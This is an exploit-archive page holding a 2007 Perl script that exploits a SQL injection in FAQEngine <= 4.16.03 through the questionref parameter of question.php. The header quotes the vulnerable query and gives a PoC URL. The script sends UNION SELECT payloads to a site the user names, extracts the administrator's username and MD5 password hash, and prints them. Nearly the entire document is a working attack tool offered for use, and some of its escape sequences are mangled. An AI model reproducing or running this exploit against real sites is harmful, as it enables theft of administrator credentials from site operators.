[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FAQEngine <= 4.16.03 (question.php questionref) SQL Injection Exploit
# Published : 2007-05-16
# Author : Silentz
# Previous Title : SimpNews <= 2.40.01 (print.php newnr) Remote SQL Injection Exploit
# Next Title : Achievo 1.1.0 (atk.inc config_atkroot) Remote File Inclusion Vulnerability


#!/usr/bin/perl -w

#################################################################################
#										#
#	            FAQEngine <= v4.16.03 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (question.php):						#
#										#
#      $sql = "select * from ".$tableprefix."_questions where publish=1 	#
#      and questionref=$questionref order by enterdate desc";			#
#										#
# PoC: question.php?mode=display&questionref=-999 UNION SELECT 0,0,0,0,		#
#      username,password,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*	#
# 										#
# Subject To: The question display mode being enabled				#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
#################################################################################

use LWP::UserAgent;

if (@ARGV < 1){
print "-------------------------------------------------------------------------rn";
print "                 FAQEngine <= v4.16.03 SQL Injection Exploitrn";
print "-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_faqengine.pl [PATH]rnrn";
print "[PATH] = Path where FAQEngine is locatedrnrn";
print "e.g. w4ck1ng_faqengine.pl http://victim.com/faq/rn";
print "-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print "-------------------------------------------------------------------------rn";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

@paths = (
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,username,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,username,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*"
);

for($i=0;$i<3;$i++){
  $host = $ARGV[0] . $paths[$i];
  $res = $b->request(HTTP::Request->new(GET=>$host));
  ($user) = $res->content =~ /">([0-9a-zA-Z]+)</span></td></tr>/;

  if($user){ last; }
}

if($user){
  print "-------------------------------------------------------------------------rn";
  print "                 FAQEngine <= v4.16.03 SQL Injection Exploitrn";
  print "-------------------------------------------------------------------------rn";
  print "[+] Admin User : $usern";
}


@paths = (
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,password,0,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,password,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,password,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*"
);

for($i=0;$i<3;$i++){
  $host = $ARGV[0] . $paths[$i];
  $res = $b->request(HTTP::Request->new(GET=>$host));
  ($hash) = $res->content =~ /([0-9a-fA-F]{32})/;
  if($hash){ last; }
}

if($hash){
  print "[+] Admin Hash : $hashn";
  print "-------------------------------------------------------------------------rn";
  print "            		 http://www.w4ck1ng.comrn";
  print "            		        ...Silentzrn";
  print "-------------------------------------------------------------------------rn";
} else {
  print "nExploit Failed...n";
}

# www.Syue.com [2007-05-16]